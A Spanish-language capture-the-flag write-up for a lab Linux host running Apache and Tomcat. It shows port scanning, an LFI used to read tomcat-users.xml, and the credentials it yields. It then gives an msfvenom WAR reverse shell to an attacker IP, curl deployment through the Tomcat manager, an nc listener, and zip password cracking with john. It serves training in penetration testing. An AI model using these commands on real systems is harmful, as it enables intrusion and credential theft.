- Tags: lfi fileupload zip2john john lxd
Resolución
Reconocimiento
OS: Linux
ping -c 1 10.10.10.194
64 bytes from 10.10.10.194: icmp_seq=1 ttl=63 time=258 ms
TTL ⇐ “64” = Linux
Virtual Hosting: 10.10.10.194 ⇒ http://megahosting.htb/
NMAP
Puertos
# Nmap 7.94SVN scan initiated Mon Nov 25 18:08:02 2024 as: nmap -p- --open --min-rate 5000 -vvv -n -Pn -oN allPorts 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up, received user-set (0.25s latency).
Scanned at 2024-11-25 18:08:02 -03 for 14s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Nov 25 18:08:16 2024 -- 1 IP address (1 host up) scanned in 14.84 secondsServicios
# Nmap 7.94SVN scan initiated Mon Nov 25 18:13:16 2024 as: nmap -sCV -p22,80,8080 -oN services 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 25 18:13:33 2024 -- 1 IP address (1 host up) scanned in 16.61 secondsExplotación
LFI
Detectamos el parámetro vulnerable http://megahosting.htb/news.php?file= en donde al realizar un Path Traversal podemos conseguir un LFI.
Detectamos que en el servicio web que corre por el puerto 8080 se necesitan credenciales válidas para ingresar a un panel de administración de Tomcat. La misma web nos indica que el archivo de configuración donde se encuentran las credenciales por defecto está en la ruta conf/tomcat-users.xml pero con nuestro LFI no podemos apuntar a dicho archivo, por lo tanto buscamos por internet el directorio por defecto donde se almacenan las credenciales de Tomcat.



Encontramos investigando que la ruta por defecto donde se almacenan las credenciales es /usr/share/tomcat9/etc/tomcat-users.xml por lo tanto usamos nuestro LFI para ver el contenido de ese archivo.

Intentamos ingresar nuevamente al panel de autenticación previo con las credenciales que obtuvimos.

Una vez dentro buscamos por internet “Formas de subir un archivo a Tomcat”, ya que normalmente en este panel se puede realizar dicha acción de forma sencilla, en este caso no.
Descubrimos que si envíamos una petición con curl a una ruta especifica proporcionando las credenciales que obtuvimos previamente podremos lograr subir un archivo.

Por lo tanto lo primero que realizamos es crear un binario con extensión .war que nos entable una Reverse Shell al ser ejecutado, por lo tanto es necesario que sea con Java. msfvenom -l payloads | grep java
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.25 LPORT=443 -f war -o reverse.war
Luego realizamos el curl que suba el archivo malicioso a la web en la ruta que vimos en el foro.
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
Ahora si quisieramos revisar si el archivo se subió correctamente podríamos realizar un curl a la siguiente ruta /manager/text/list
curl -s -u 'tomcat:$3cureP4s5w0rd123!' -X GET "http://10.10.10.194:8080/manager/text/list". De esta forma listamos los archivos que están subidos en la web actualmente y veríamos nuestro “reverse”.
Una vez subido el archivo a la web simplemente nos ponemos en escucha con nc -nlvp 443 y ingresamos a la URL http://megahosting.htb:8080 pero añadiéndole el nombre de nuestro binario malicioso que ya está subido, quedando tal que así.
De esta forma el archivo malicioso será interpretado y entablaremos la Reverse Shell ganando así el acceso a la máquina.

Escalada de Privilegios
Una vez dentro de la máquina víctima veremos que no tenemos acceso al directorio /home del usuario ash, por lo tanto tendremos que conseguir acceso a el y luego procedemos con la escalada de privilegios al usuario root.
User Pivoting usuario ASH
Encontramos en el directorio /var/www/html/files un archivo backup.zip que no podemos descomprimir ya que nos pide contraseña. Algo que podemos hacer en estos casos es convertir todo el contenido del archivo a base64 y meter dicho contenido en un archivo en nuestra máquina de atacante.
base64 -w 0 16162020_backup.zip ; echo
De esta forma tendremos un archivo llamado backup.zip en nuestra máquina de atacante con el contenido decodificado dentro, por lo tanto si realizamos un unzip backup.zip nos volverá a pedir contraseña pero como el archivo lo tenemos en nuestro control podremos realizar un ataque de fuerza bruta.
A la herramienta zip2john le pasaremos el archivo backup.zip este nos devolverá un HASH, dicho HASH, es decir la respuesta, la meteremos en un archivo llamado hash.
zip2john backup.zip > hash
Ese hash que nos devuelve la herramienta lo pasaremos a la herramienta john.
john -w:/usr/share/wordlists/rockyou.txt hash
Gracias a esto descubrimos que la contraseña del archivo .zip es admin@it, por lo tanto lo descomprimimos y dentro no encontramos nada de valor pero descubrimos que esta misma credencial se reutiliza en el usuario ash, por lo tanto con su ash accedemos.
Escalada ROOT
No funcionó pero deberíamos abusar del grupo lxd.
